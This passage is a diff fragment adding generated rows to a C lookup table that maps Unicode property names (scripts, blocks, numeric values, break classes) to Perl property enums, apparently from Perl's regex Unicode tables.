+  {     2,   184,  6120,   2,  11, PL_DOMINO }   /* isdominotiles */,
+  {    40,  8096,  8408,   4,   3, PL_MRO }   /* scx=mro */,
+  {     0,  7459,  8192,   3,   4, PL_SC__ADLM }   /* sc=adlm */,
+  {     0,  7478,  6747,   3,   9, PL_SMALLFORMS }   /* issmallforms */,
+  {    32,  5544,  8903,  13,   2, PL_NV__38 }   /* numericvalue=38 */,
+  {     0,  6713,  8867,   3,   3, PL_IN__5_DOT_1 }   /* in=v51 */,
+  {     2,  7136,  3965,   6,  13, PL_MATHOPERATORS }   /* block=mathoperators */,
+  {     0,  1133,  3223,  26,   2, -PL_PCM }   /* prependedconcatenationmark=n */,
+  {    38,  2100,  7557,   4,   5, PL_OLCK }   /* isolchiki */,
+  {     2,   184,  8432,   2,   4, PL_NKO }   /* isnkoo */,
+  {     0,  8504,    69,   3,   2, PL_SB__UP }   /* sb=up */,
+  {     1,  8096,  7912,   4,   4, PL_TELU }   /* scx=telu */,
+  {     0,  4554,  1621,  14,   6, PL_SB__FO }   /* sentencebreak=format */,
+  {     7,  2108,  1568,   4,   4, PL_INHANGUL }   /* inhangul */,
+  {     0,  5375,     7,  12,   1, PL_JT__C }   /* joiningtype=c */,
+  {     6,  7457,  6998,   5,   9, PL_INSC__NONJOINER }   /* insc=nonjoiner */,
+  {     0,  3424,  7768,  17,   6, -PL_IDSB }   /* idsbinaryoperator=false */,
+  {     0,  7380,  1484,   4,   2, PL_CCC__BR }   /* ccc=br */,
+  {     7,  3129,  8046,  17,   5, PL_LIMB }   /* scriptextensions=limbu */,
+  {     0,  7459,  7513,   3,   7, PL_SC__MAND }   /* sc=mandaic */,
+  {     5,  6484,     0,   3,   0, PL_IDC }   /* idc */,
+  {    29,  6736,     0,  10,   0, PL_SAUR }   /* saurashtra */,
+  {     4,  6706,  8723,  10,   3, PL_IN__4 }   /* presentin=4.0 */,
+  {     5,  7288,  6406,   7,  11, PL_SORA }   /* script=sorasompeng */,
+  {     3,  8021,  3223,   5,   2, -PL_GREXT }   /* grext=n */,
+  {     4,  4284,  3577,  14,   6, PL_GCB__T }   /* hangulsyllabletype=t */,
+  {     6,  8340,  4953,   3,  14, PL_JG__MANICHAEANHETH }   /* jg=manichaeanheth */,
+  {     1,  8096,  6917,   4,   9, PL_QAAI }   /* scx=inherited */,
+  {     4,  6263,  8925,  10,   2, PL_LB__H3 }   /* linebreak=h3 */,
+  {     4,  7459,  2408,   3,   6, PL_BRAH }   /* sc=brahmi */,
+  {    38,  3424,  7997,   4,   4, PL_IDSB }   /* idsb=yes */,
+  {     5,  7459,  2271,   5,  18, PL_PHLI }   /* sc=inscriptionalpahlavi */,
+  {     1,  3322,     0,  17,   0, PL_CYRILLICEXTA }   /* cyrillicextendeda */,
+  {     8,  7459,   494,   3,   3, PL_SC__HAN }   /* sc=han */,
+  {     3,  8071,     0,   5,   0, PL_OSGE }   /* osage */,
+  {     6,  8011,   699,   3,   6, PL_N }   /* gc=number */,
+  {     0,  7136,  3147,   6,  18, PL_TAIXUANJING }   /* block=taixuanjingsymbols */,
+  {    40,  7840,   893,   3,  16, PL_VS }   /* isvariationselector */,
+  {     3,  4314,  5873,  13,  12, PL_JG__MALAYALAMNNA }   /* joininggroup=malayalamnna */,
+  {     1,  4314,  8810,  13,   3, PL_JG__MIM }   /* joininggroup=mim */,
+  {     0,  3129,  7590,  17,   7, PL_SHRD }   /* scriptextensions=sharada */,
+  {     2,  7136,  7016,   6,   9, PL_INOLDPERMIC }   /* block=oldpermic */,
+  {     0,  5544,  8901,  13,   2, PL_NV__36 }   /* numericvalue=36 */,
+  {     0,  3754,     0,   7,   0, PL_LINB }   /* linearb */,
+  {     8,  4402,  3883,   3,   6, PL_INMYANMAR }   /* inmyanmar */,
+  {     0,  7457,  2189,   5,  20, PL_INSC__CONSONANTPLACEHOLDER }   /* insc=consonantplaceholder */,
+  {     0,   184,    43,   3,  15, PL_CJKCOMPAT }   /* iscjkcompatibility */,
+  {     0,  8196,  8726,   4,   3, PL_AGE__4_DOT_1 }   /* age=4.1 */,
+  {     1,  8096,  7611,   4,   4, PL_SOYO }   /* scx=soyo */,
+  {     1,  8096,  8444,   4,   4, PL_OLCK }   /* scx=olck */,
+  {     0,  8240,  8801,   3,   3, PL_BC__LRE }   /* bc=lre */,
+  {     4,  4314,  4359,  13,  15, PL_JG__MANICHAEANGIMEL }   /* joininggroup=manichaeangimel */,
+  {     0,  7288,  7846,   7,   6, PL_SC__KTHI }   /* script=kaithi */,
+  {     0,  8424,     0,   4,   0, PL_NBAT }   /* nbat */,
+  {     8,  6890,  4771,   4,  14, PL_INGREEK }   /* blk=greekandcoptic */,
+  {     0,  8816,  8741,   3,   3, PL_NV__5_SLASH_6 }   /* nv=5/6 */,
+  {    15,  7858,     0,   4,   0, PL_KHOJ }   /* khoj */,
+  {    68,  6890,  7387,   4,   7, PL_CJKEXTA }   /* blk=cjkexta */,
+  {     1,  8096,  7443,   4,   4, PL_GRAN }   /* scx=gran */,
+  {     0,  8096,  6806,   4,   4, PL_WARA }   /* scx=wara */,
+  {     1,  7994,  7952,   4,   4, PL_IDC }   /* idc=true */,
+  {     8,  5645,  1804,  10,   3, PL_BC__RLE }   /* bidiclass=rle */,
+  {     7,  6890,  6908,   4,   9, PL_EMOTICONS }   /* blk=emoticons */,
+  {     0,  7288,  8300,   7,   4, PL_SC__GREK }   /* script=grek */,
+  {     1,   690,     0,  16,   0, PL_CUNEIFORMNUMBERS }   /* cuneiformnumbers */,
+  {     0,   184,  1543,   2,  15, PL_GEOMETRICSHAPES }   /* isgeometricshapes */,
+  {     1,  1448,  6431,   5,   8, PL_SUPERANDSUB }   /* insuperandsub */,
+  {     1,  6890,  7604,   4,   7, PL_INSIDDHAM }   /* blk=siddham */,
+  {     8,  7136,  3290,   6,   4, PL_UCAS }   /* block=ucas */,
+  {    16,  8504,  7966,   3,   5, PL_SB__AT }   /* sb=aterm */,
+  {     1,  8816,  7744,   3,   5, PL_NV__70000 }   /* nv=70000 */,
+  {     0,  7288,  7780,   7,   4, PL_CARI }   /* script=cari */,
+  {    67,  2360,     0,   4,   0, PL_MAND }   /* mand */,
+  {     0,  4449,  8256,   4,   3, PL_COMPEX }   /* nfcqc=n */,
+  {    24,   184,  2636,   2,   4, PL_MONG }   /* ismong */,
+  {     6,  4314,  5019,  13,   4, PL_JG__TETH }   /* joininggroup=teth */,
+  {    81,  8816,  7714,   3,   6, PL_NV__300000 }   /* nv=300000 */,
+  {     0,  2521,     0,   2,   0, PL_PF }   /* pf */,
+  {    32,  7136,  2805,   6,  18, PL_HALFMARKS }   /* block=combininghalfmarks */,
+  {     0,  7136,  6826,   6,  10, PL_YIRADICALS }   /* block=yiradicals */,
+  {     0,  1184,     0,  25,   0, PL_DI }   /* defaultignorablecodepoint */,
+  {    48,  5557,     0,  13,   0, PL_PATSYN }   /* patternsyntax */,
+  {     0,  8376,   415,   3,  11, PL_LB__ID }   /* lb=ideographic */,
+  {     1,  8816,  8646,   3,   2, PL_NV__29 }   /* nv=29 */,
+  {    22,  5968,  1029,   3,  26, PL_OCR }   /* inopticalcharacterrecognition */,
+  {    17,  7136,  8126,   6,   5, PL_VSSUP }   /* block=vssup */,
+  {     0,  7136,  7611,   6,   7, PL_INSOYOMBO }   /* block=soyombo */,
+  {     0,  7136,  7912,   6,   6, PL_INTELUGU }   /* block=telugu */,
+  {     0,  7459,  2408,   3,   4, PL_BRAH }   /* sc=brah */,
+  {     0,  6890,  1724,   4,  22, PL_EARLYDYNASTICCUNEIFORM }   /* blk=earlydynasticcuneiform */,
+  {     1,  1346,  3500,   4,   5, PL_INGRANTHA }   /* ingrantha */,
+  {     1,  7459,  7192,   3,   8, PL_SC__GUJR }   /* sc=gujarati */,
+  {     0,  2859,  2369,  18,   4, PL_DT__VERT }   /* decompositiontype=vert */,
+  {     3,  7288,  7320,   7,   8, PL_TFNG }   /* script=tifinagh */,
+  {     1,  7288,  2484,   7,  19, PL_EGYP }   /* script=egyptianhieroglyphs */,
+  {     0,  7288,  7312,   7,   4, PL_SC__TAGB }   /* script=tagb */,
+  {     0,  7380,  7941,   7,   2, PL_CCC__11 }   /* ccc=ccc11 */,
+  {     1,  7288,  2531,   7,   4, PL_SC__MULT }   /* script=mult */,
+  {     0,  8288,     7,   3,   3, PL_DT__CAN }   /* dt=can */,
+  {     0,  3129,   954,  17,   5, PL_GREK }   /* scriptextensions=greek */,
+  {    12,  5544,  8184,  13,   4, PL_NV__5_SLASH_12 }   /* numericvalue=5/12 */,
+  {    16,  4314,  3818,  13,  16, PL_JG__MANICHAEANSAMEKH }   /* joininggroup=manichaeansamekh */,
+  {     0,  5645,  3581,   5,   2, PL_BIDIC }   /* bidic=t */,
+  {     7,  6713,  8852,   3,   3, PL_IN__3_DOT_1 }   /* in=v31 */,
+  {     2,  8096,    78,   4,   4, PL_ARAB }   /* scx=arab */,
+  {     4,  7136,  3356,   6,  17, PL_CYRILLICEXTC }   /* block=cyrillicextendedc */,
+  {     4,  8096,  7025,   4,   9, PL_ORKH }   /* scx=oldturkic */,
+  {     1,  7224,  6484,   3,   3, PL_XIDC }   /* isxidc */,
+  {     2,  7136,  7443,   6,   7, PL_INGRANTHA }   /* block=grantha */,
+  {     0,   184,  1283,   3,   9, PL_CJKSYMBOLS }   /* iscjksymbols */,
+  {     0,  4239,  3223,   4,   2, -PL_DASH }   /* dash=n */,
+  {    12,  7288,  8416,   7,   4, PL_SC__MYMR }   /* script=mymr */,
+  {     0,  7288,  7632,   7,   7, PL_SC__TGLG }   /* script=tagalog */,
+  {     3,  6890,  1680,   4,  22, PL_INDICNUMBERFORMS }   /* blk=commonindicnumberforms */,
+  {     0,  6890,  1001,   4,  11, PL_ENCLOSEDCJK }   /* blk=enclosedcjk */,
+  {     0,  7136,  7900,   6,   6, PL_INREJANG }   /* block=rejang */,
+  {     2,  8096,  7043,   4,   4, PL_PAUC }   /* scx=pauc */,
+  {    18,   974,  6556,  24,  10, PL_CCC__BR }   /* canonicalcombiningclass=belowright */,
+  {     0,   184,  6881,   2,   9, PL_BHKS }   /* isbhaiksuki */,
+  {     0,  6890,  1960,   4,  14, PL_CJKRADICALSSUP }   /* blk=cjkradicalssup */,
+  {     0,  6890,  6596,   4,  10, PL_COMPATJAMO }   /* blk=compatjamo */,
+  {     2,  7288,  7780,   7,   6, PL_CARI }   /* script=carian */,
+  {     0,  6890,  2967,   4,  18, PL_GEORGIANSUP }   /* blk=georgiansupplement */,
+  {     0,  1417,  1106,   9,   2, PL_SK }   /* category=sk */,
+  {     1,  8786,     1,   3,   1, PL_EA__N }   /* ea=n */,
+  {   123,  7459,  8220,   3,   4, PL_SC__ARMN }   /* sc=armn */,
+  {     0,  4449,  8256,   4,   4, PL_COMPEX }   /* nfcqc=no */,
+  {     0,  7459,  8396,   3,   4, PL_MERC }   /* sc=merc */,
+  {     2,  7478,  3084,   7,   9, PL_ZS }   /* isspaceseparator */,
+  {     0,  1358,  7997,  20,   4, PL_CE }   /* compositionexclusion=yes */,
+  {     0,  4542,  7640,   3,   6, PL_LANA }   /* istaitham */,
+  {     1,  8783,  7768,   3,   2, -PL_CWU }   /* cwu=f */,
+  {     2,  7459,  2674,   3,   4, PL_SUND }   /* sc=sund */,
+  {     0,  6483,  7997,   4,   4, PL_XIDC }   /* xidc=yes */,
+  {     1,  3129,  2107,  17,   4, PL_SINH }   /* scriptextensions=sinh */,
+  {     0,  7459,  7569,   3,   7, PL_OSMA }   /* sc=osmanya */,
+  {     8,  3129,  7192,  17,   8, PL_GUJR }   /* scriptextensions=gujarati */,
+  {     5,  1701,  7997,   2,   2, PL_SD }   /* sd=y */,
+  {     7,  7288,  7660,   7,   7, PL_SC__TIRH }   /* script=tirhuta */,
+  {     0,  8196,  8765,   4,   3, PL_AGE__8 }   /* age=8.0 */,
+  {    48,  7288,  7870,   7,   4, PL_LEPC }   /* script=lepc */,
+  {     1,  8096,  6696,   4,  10, PL_PHNX }   /* scx=phoenician */,
+  {    10,  5544,  7708,  13,   2, PL_NV__21 }   /* numericvalue=21 */,
+  {    28,   184,  7240,   2,   8, PL_JAMOEXTB }   /* isjamoextb */,
+  {     0,  7136,  8368,   6,   3, PL_INLAO }   /* block=lao */,
+  {     7,   184,   750,   2,  22, PL_ENCLOSEDIDEOGRAPHICSUP }   /* isenclosedideographicsup */,
+  {     0,  3129,    78,  17,   6, PL_ARAB }   /* scriptextensions=arabic */,
+  {     2,   184,  8931,   2,   2, PL_L_AMP_ }   /* isl& */,
+  {     6,   117,   448,   3,  31, PL_IDEOGRAPHICSYMBOLS }   /* inideographicsymbolsandpunctuation */,
+  {     0,  6890,  3057,   4,  18, PL_ORNAMENTALDINGBATS }   /* blk=ornamentaldingbats */,
+  {     1,  8816,  7709,   3,   2, PL_NV__16 }   /* nv=16 */,
+  {     0,  8240,    18,   3,   1, PL_BC__R }   /* bc=r */,
+  {     1,  8816,  8164,   3,   4, PL_NV__15_SLASH_2 }   /* nv=15/2 */,
+  {    72,  6219,     0,  11,   0, PL_JOINC }   /* joincontrol */,
+  {     3,  2229,     0,  17,   1, PL_LU }   /* generalcategory=lu */,
+  {     0,  6706,  7702,  10,   1, PL_IN__2 }   /* presentin=2 */,
+  {     0,  7136,  7956,   6,   5, PL_INADLAM }   /* block=adlam */,
+  {     3,  7226,  7986,   6,   5, PL_XPOSIXBLANK }   /* xposixblank */,
+  {    18,  6554,  7145,   3,   7, PL_INBUGINESE }   /* inbuginese */,
+  {     0,  6989,     0,   9,   0, PL_TALU }   /* newtailue */,
+  {     1,  2128,     0,  21,   0, PL_YIJING }   /* yijinghexagramsymbols */,
+  {     0,  7288,  8588,   7,   4, PL_SC__YI }   /* script=yiii */,
+  {     0,  7288,  8264,   7,   4, PL_CANS }   /* script=cans */,
+  {     1,   184,  7971,   2,   5, PL_BATK }   /* isbatak */,
+  {     4,  8196,  7732,   4,   1, PL_AGE__5 }   /* age=5 */,
+  {    72,  6890,   479,   4,  31, PL_MATHALPHANUM }   /* blk=mathematicalalphanumericsymbols */,
+  {     0,  1887,  7768,   5,   2, -PL_XPOSIXLOWER }   /* lower=f */,
+  {     5,  4314,  4384,  13,   5, PL_JG__SADHE }   /* joininggroup=sadhe */,
+  {    17,  3914,     0,  16,   0, PL_PO }   /* otherpunctuation */,
+  {     1,  2229,  2169,  16,  20, PL_PC }   /* generalcategory=connectorpunctuation */,
+  {    16,  1426,  5191,  24,  14, PL_INSC__INVISIBLESTACKER }   /* indicsyllabiccategory=invisiblestacker */,
+  {     0,  7288,  7450,   7,   7, PL_SC__HANO }   /* script=hanunoo */,
+  {     1,  1855,  7997,  21,   4, PL_CWCM }   /* changeswhencasemapped=yes */,
+  {     1,  7344,  7997,   4,   4, PL_XIDS }   /* xids=yes */,
+  {     0,  1746,    36,  21,   1, PL_GCB__T }   /* graphemeclusterbreak=t */,
+  {     0,  6210,  6587,   3,   9, PL_CJKSTROKES }   /* incjkstrokes */,
+  {    14,  6008,     0,   4,   0, PL_HUNG }   /* hung */,
+  {     0,  4314,  4995,  13,  14, PL_JG__MANICHAEANRESH }   /* joininggroup=manichaeanresh */,
+  {     0,  6890,  3754,   4,  16, PL_LINEARBIDEOGRAMS }   /* blk=linearbideograms */,
+  {     1,  7288,  8245,   8,   3, PL_BHKS }   /* script=bhks */,
+  {     6,  8101,     0,   5,   0, PL_STERM }   /* sterm */,
+  {     0,  6613,  8321,   3,   3, PL_HLUW }   /* ishluw */,
+  {     0,  4284,  4026,  14,  16, PL_GCB__L }   /* hangulsyllabletype=leadingjamo */,
+  {     2,  7478,  1636,   3,  22, PL_SUPPUNCTUATION }   /* issupplementalpunctuation */,
+  {    16,  6890,  7569,   4,   7, PL_INOSMANYA }   /* blk=osmanya */,
+  {    26,  5657,  3223,   5,   2, -PL_BIDIM }   /* bidim=n */,
+  {     0,  1402,  1704,   4,  20, PL_DIACRITICALSFORSYMBOLS }   /* indiacriticalsforsymbols */,
+  {     0,  8504,    33,   3,   2, PL_SB__SE }   /* sb=se */,
+  {     2,  8420,     0,   4,   0, PL_NARB }   /* narb */,
+  {     0,  1401,     0,   4,   0, PL_SIND }   /* sind */,
+  {     0,   184,     3,   3,   1, PL_CF }   /* iscf */,
+  {     0,  3424,  3581,   4,   2, PL_IDSB }   /* idsb=t */,
+  {     0,  6890,  6944,   4,   9, PL_LATINEXTC }   /* blk=latinextc */,
+  {    24,  6613,  4285,   3,  14, PL_INHANGUL }   /* ishangulsyllables */,
+  {     0,  6109,  3659,  10,  15, PL_PE }   /* category=closepunctuation */,
+  {    82,  8777,     0,   3,   0, PL_CWL }   /* cwl */,
+  {     0,   183,     0,  34,   0, PL_MISCPICTOGRAPHS }   /* miscellaneoussymbolsandpictographs */,
+  {     2,  7288,  3611,   8,   3, PL_SC__BOPO }   /* script=bopo */,
+  {     0,  1929,  7951,   5,   5, PL_XPOSIXUPPER }   /* upper=true */,
+  {     0,  2229,  1013,  17,   5, PL_L }   /* generalcategory=letter */,
+  {     0,  6890,  3390,   4,  16, PL_ETHIOPICEXT }   /* blk=ethiopicextended */,
+  {     0,  7459,  8436,   3,   4, PL_NSHU }   /* sc=nshu */,
+  {     1,  8096,  8106,   4,   5, PL_TALE }   /* scx=taile */,
+  {     7,  6613,  6009,   3,   3, PL_HUNG }   /* ishung */,
+  {     3,   974,  8639,  24,   3, PL_CCC__118 }   /* canonicalcombiningclass=118 */,
+  {     6,  8816,  7756,   3,   6, PL_NV__900000 }   /* nv=900000 */,
+  {     0,  7226,  1887,   6,   5, PL_XPOSIXLOWER }   /* xposixlower */,
+  {     0,  8816,  1335,   3,   3, PL_NV__NAN }   /* nv=nan */,
+  {     4,  1448,  1791,   3,  21, PL_MODIFIERLETTERS }   /* inspacingmodifierletters */,
+  {     3,  7288,  6736,   7,  10, PL_SAUR }   /* script=saurashtra */,
+  {     2,  4813,     0,   7,   0, PL_KANASUP }   /* kanasup */,
+  {     0,   184,  4883,   2,  14, PL_LATINEXTE }   /* islatinextendede */,
+  {    15,  7459,  7520,   3,   7, PL_MARC }   /* sc=marchen */,
+  {     2,  8304,     0,   4,   0, PL_GUJR }   /* gujr */,
+  {     5,  1503,  3391,   3,  16, PL_ETHIOPICEXTA }   /* inethiopicextendeda */,
+  {     0,  8096,  7653,   4,   7, PL_TIBT }   /* scx=tibetan */,
+  {     2,  7459,  7912,   3,   4, PL_SC__TELU }   /* sc=telu */,
+  {     0,  6890,  7429,   4,   7, PL_DSRT }   /* blk=deseret */,
+  {     0,  8894,  3201,   3,  18, PL_VO__TU }   /* vo=transformedupright */,
+  {     0,  8344,     0,   4,   0, PL_JT__L }   /* jt=l */,
+  {    32,  7136,  6439,   6,  11, PL_INSYLOTINAGRI }   /* block=sylotinagri */,
+  {     0,  7288,  7520,   7,   7, PL_MARC }   /* script=marchen */,
+  {     0,  2841,     0,   6,   0, PL_COPT }   /* coptic */,
+  {    64,  8009,     0,   2,   0, PL_CF }   /* cf */,
+  {    14,  7288,  1108,   8,   4, PL_BATK }   /* script=batak */,
+  {     2,  4198,  2969,   4,  16, PL_GEORGIANSUP }   /* ingeorgiansupplement */,
+  {     1,  7689,  8233,   3,   3, PL_AVST }   /* isavst */,
+  {     1,  6890,  3866,   4,  16, PL_MISCMATHSYMBOLSB }   /* blk=miscmathsymbolsb */,
+  {     1,  4314,   218,  13,   2, PL_JG__PE }   /* joininggroup=pe */,
+  {     0,  8816,  5219,   3,   3, PL_NV__100 }   /* nv=100 */,
+  {    63,  3424,  7768,   4,   2, -PL_IDSB }   /* idsb=f */,
+  {     1,  8816,  7720,   3,   1, PL_NV__4 }   /* nv=4 */,
+  {     1,   974,  3254,  24,  13, PL_CCC__202 }   /* canonicalcombiningclass=attachedbelow */,
+  {    32,  2541,     0,  10,   0, PL_JAMO }   /* hanguljamo */,
+  {     3,  5544,  7756,  13,   3, PL_NV__900 }   /* numericvalue=900 */,
+  {    18,  6890,  7618,   4,   7, PL_SUPPUAA }   /* blk=suppuaa */,
+  {     0,  7136,  7492,   6,   7, PL_INKANNADA }   /* block=kannada */,
+  {    10,  7681,     0,   7,   0, PL_ZZZZ }   /* unknown */,
+  {    10,  7136,  1658,   6,  19, PL_CJKCOMPATIDEOGRAPHS }   /* block=cjkcompatideographs */,
+  {     0,  4010,     0,   4,   0, PL_TANG }   /* tang */,
+  {     8,   974,  4976,  24,   2, PL_CCC__7 }   /* canonicalcombiningclass=nk */,
+  {    16,  7882,     0,   6,   0, PL_LYDI }   /* lydian */,
+  {     0,  7224,  3521,   8,   5, PL_XPOSIXSPACE }   /* isxposixspace */,
+  {     0,  6263,  1083,  10,   2, PL_LB__LF }   /* linebreak=lf */,
+  {     4,  6713,  7702,   3,   1, PL_IN__2 }   /* in=2 */,
+  {     0,  7288,  8528,   7,   4, PL_SC__SYRC }   /* script=syrc */,
+  {    68,  3129,  8061,  17,   5, PL_OGAM }   /* scriptextensions=ogham */,
+  {     1,  8276,     0,   4,   0, PL_CWCM }   /* cwcm */,
+  {     0,  5544,  7714,  13,   3, PL_NV__300 }   /* numericvalue=300 */,
+  {     1,  7478,   837,   3,  27, PL_SUPPUAA }   /* issupplementaryprivateuseareaa */,
+  {    17,  5544,  8762,  13,   3, PL_NV__7_SLASH_8 }   /* numericvalue=7/8 */,
+  {    10,    21,  4813,   2,  14, PL_KANASUP }   /* inkanasupplement */,
+  {     0,  8011,     7,   4,   1, PL_SC }   /* gc=sc */,
+  {     6,  5544,  8640,  13,   2, PL_NV__18 }   /* numericvalue=18 */,
+  {     1,  8096,  4105,   5,   3, PL_BAMU }   /* scx=bamu */,
+  {    11,  7345,  7768,   7,   6, -PL_IDS }   /* idstart=false */,
+  {     0,  3129,  8448,  17,   4, PL_ORKH }   /* scriptextensions=orkh */,
+  {    29,  7288,  8548,   7,   4, PL_TFNG }   /* script=tfng */,
+  {     0,  6890,  6646,   4,  10, PL_MISCARROWS }   /* blk=miscarrows */,
+  {     1,     0,     0,  34,   0, PL_UCAS }   /* unifiedcanadianaboriginalsyllabics */,
+  {     1,  7459,  7604,   3,   7, PL_SIDD }   /* sc=siddham */,
+  {     0,  1876,  3223,  21,   3, -PL_CWL }   /* changeswhenlowercased=no */,
+  {     2,  6263,    34,  10,   2, PL_LB__EX }   /* linebreak=ex */,
+  {     3,  1402,  3069,   4,   6, PL_DINGBATS }   /* indingbats */,
+  {     5,  7344,     0,   4,   0, PL_XIDS }   /* xids */,
+  {     0,  8340,  6072,   3,   4, PL_JG__NOON }   /* jg=noon */,
+  {     4,  7136,  7061,   6,   9, PL_INSAMARITAN }   /* block=samaritan */,
+  {     0,  5544,  7720,  13,   1, PL_NV__4 }   /* numericvalue=4 */,
+  {     2,  7380,  8897,   4,   2, PL_CCC__19 }   /* ccc=19 */,
+  {    76,  2750,  7768,  19,   6, -PL_TERM }   /* terminalpunctuation=false */,
+  {     7,  8288,   568,   3,   2, PL_DT__NB }   /* dt=nb */,
+  {   136,  7248,     0,   8,   0, PL_JAVA }   /* javanese */,
+  {     0,  8376,  6186,   3,  11, PL_LB__IN }   /* lb=inseparable */,
+  {     3,  8572,   698,   3,   2, PL_WB__MN }   /* wb=mn */,
+  {     0,  7459,  2249,   3,   4, PL_SC__GLAG }   /* sc=glag */,
+  {     6,  8204,  7951,   4,   5, PL_POSIXXDIGIT }   /* ahex=true */,
+  {    12,  5192,   416,   3,  31, PL_INIDC }   /* isideographicdescriptioncharacters */,
+  {     2,   184,   122,   2,   9, PL_DIA }   /* isdiacritic */,
+  {     1,  4314,  5849,  13,  12, PL_JG__MALAYALAMLLA }   /* joininggroup=malayalamlla */,
+  {     1,  8300,     0,   4,   0, PL_GREK }   /* grek */,
+  {     0,  8096,  7583,   4,   7, PL_PHAG }   /* scx=phagspa */,
+  {    68,  7288,  6882,   8,   8, PL_BHKS }   /* script=bhaiksuki */,
+  {     0,  6109,     3,  10,   1, PL_CF }   /* category=cf */,
+  {    96,  2985,  3223,   4,   2, -PL_IDST }   /* idst=n */,
+  {     0,  7226,  3521,   6,   5, PL_XPOSIXSPACE }   /* xposixspace */,
+  {     0,  5645,  2289,  10,  11, PL_BC__L }   /* bidiclass=lefttoright */,
+  {     0,  8816,  8907,   3,   2, PL_NV__44 }   /* nv=44 */,
+  {     0,  2229,  3658,  16,  16, PL_PE }   /* generalcategory=closepunctuation */,
+  {     4,  6890,  4644,   4,  15, PL_INZANABAZARSQUARE }   /* blk=zanabazarsquare */,
+  {    10,  3129,  6373,  17,  11, PL_HMNG }   /* scriptextensions=pahawhhmong */,
+  {     4,   184,  1797,   2,   4, PL_MODI }   /* ismodi */,
+  {     1,  3129,  8046,  17,   4, PL_LIMB }   /* scriptextensions=limb */,
+  {     0,  5134,   809,   3,  10, PL_PHONETICEXT }   /* isphoneticext */,
+  {     0,  7288,  1540,   7,   4, PL_SC__PHAG }   /* script=phag */,
+  {     0,  4402,  2046,   4,  12, PL_MEETEIMAYEKEXT }   /* inmeeteimayekext */,
+  {     0,   148,     0,  35,   0, PL_DIACRITICALSSUP }   /* combiningdiacriticalmarkssupplement */,
+  {     0,  8096,  8568,   4,   3, PL_VAI }   /* scx=vai */,
+  {    49,  8376,  7828,   3,   2, PL_LB__HY }   /* lb=hy */,
+  {     0,  7136,  1724,   6,  22, PL_EARLYDYNASTICCUNEIFORM }   /* block=earlydynasticcuneiform */,
+  {     0,   184,  8596,   2,   4, PL_ZANB }   /* iszanb */,
+  {    12,  5544,  7726,  13,   2, PL_NV__43 }   /* numericvalue=43 */,
+  {     1,  6263,  3526,  10,  17, PL_RI }   /* linebreak=regionalindicator */,
+  {     3,  7288,  2787,   7,   8, PL_CHER }   /* script=cherokee */,
+  {     1,  5693,     0,  12,   0, PL_CYRILLICEXTB }   /* cyrillicextb */,
+  {     0,  8596,     0,   4,   0, PL_ZANB }   /* zanb */,
+  {     1,  1635,     0,  23,   0, PL_SUPPUNCTUATION }   /* supplementalpunctuation */,
+  {     3,  6776,     0,  10,   0, PL_SUPARROWSB }   /* suparrowsb */,
+  {     0,  7380,  8168,   4,   2, PL_CCC__17 }   /* ccc=17 */,
+  {     1,  3610,     0,  11,   0, PL_BOPOMOFOEXT }   /* bopomofoext */,
+  {     0,  3424,  7951,   4,   5, PL_IDSB }   /* idsb=true */,
+  {     0,  4479,     1,  15,   1, PL_NFKCQC__N }   /* nfkcquickcheck=n */,
+  {     2,   974,  3743,  24,   1, PL_CCC__1 }   /* canonicalcombiningclass=1 */,
+  {     1,  5253,     0,   5,   0, PL_XPOSIXDIGIT }   /* digit */,
+  {     2,  5968,  4495,   3,  14, PL_NARB }   /* inoldnortharabian */,
+  {     0,  6890,  1081,   4,  26, PL_HALFANDFULLFORMS }   /* blk=halfwidthandfullwidthforms */,
+  {     1,   217,  8077,   7,   4, PL_PATWS }   /* _perl_patws */,
+  {     0,   974,  7944,  27,   2, PL_CCC__12 }   /* canonicalcombiningclass=ccc12 */,
+  {    50,  8816,  7756,   3,   3, PL_NV__900 }   /* nv=900 */,
+  {     0,  6890,  3994,   4,   9, PL_SYRIACSUP }   /* blk=syriacsup */,
+  {     0,  7136,  2712,   6,  19, PL_SUPARROWSB }   /* block=supplementalarrowsb */,
+  {     0,  2229,  4330,  17,  14, PL_LL }   /* generalcategory=lowercaseletter */,
+  {     1,  8376,  3658,   3,  16, PL_LB__CL }   /* lb=closepunctuation */,
+  {     0,  8340,  5741,   3,  12, PL_JG__FINALSEMKATH }   /* jg=finalsemkath */,
+  {     1,  4134,     0,   4,   0, PL_BRAI }   /* brai */,
+  {     0,  7457,  4164,   5,  15, PL_INSC__CONSONANTKILLER }   /* insc=consonantkiller */,
+  {     0,  8096,  1540,   4,   4, PL_PHAG }   /* scx=phag */,
+  {     0,  8096,  3674,   4,   7, PL_CPRT }   /* scx=cypriot */,
+  {     7,  7224,    96,   8,   5, PL_XPOSIXALPHA }   /* isxposixalpha */,
+  {     8,  1159,     0,  25,   0, PL_CWKCF }   /* changeswhennfkccasefolded */,
+  {     0,  3129,  7639,  17,   7, PL_LANA }   /* scriptextensions=taitham */,
+  {    48,  8096,  5801,   4,   5, PL_KHMR }   /* scx=khmer */,
+  {     0,   974,  8699,  24,   3, PL_CCC__DB }   /* canonicalcombiningclass=233 */,
+  {     2,  8252,     0,   4,   0, PL_BUHD }   /* buhd */,
+  {     0,  1426,  4058,  22,  16, PL_INSC__VOWELINDEPENDENT }   /* indicsyllabiccategory=vowelindependent */,
+  {     2,  7906,  6629,   6,   7, PL_KHAR }   /* sc=kharoshthi */,
+  {    34,  5544,  7756,  13,   4, PL_NV__9000 }   /* numericvalue=9000 */,
+  {     0,  1612,     0,  23,   0, PL_SHORTHANDFORMATCONTROLS }   /* shorthandformatcontrols */,
+  {     0,  8121,  7768,   5,   6, -PL_UIDEO }   /* uideo=false */,
+  {     0,   184,  7882,   2,   6, PL_LYDI }   /* islydian */,
+  {    67,  4554,  7966,  14,   5, PL_SB__AT }   /* sentencebreak=aterm */,
+  {    10,  8248,     7,   4,   1, PL_BPT__C }   /* bpt=c */,
+  {     1,  6890,  5245,   4,   5, PL_ASCII }   /* blk=ascii */,
+  {     1,  7288,  8544,   7,   4, PL_TAVT }   /* script=tavt */,
+  {    10,  6263,  1392,  10,   9, PL_LB__SG }   /* linebreak=surrogate */,
+  {     2,   184,  7423,   3,   6, PL_CJKEXTF }   /* iscjkextf */,
+  {     1,  5134,  1340,   4,   2, PL_PAUC }   /* ispauc */,
+  {     3,   184,  3882,   2,   7, PL_MYMR }   /* ismyanmar */,
+  {    40,   184,  6120,   2,   6, PL_DOMINO }   /* isdomino */,
+  {     2,  7380,  8617,   7,   2, PL_CCC__31 }   /* ccc=ccc31 */,
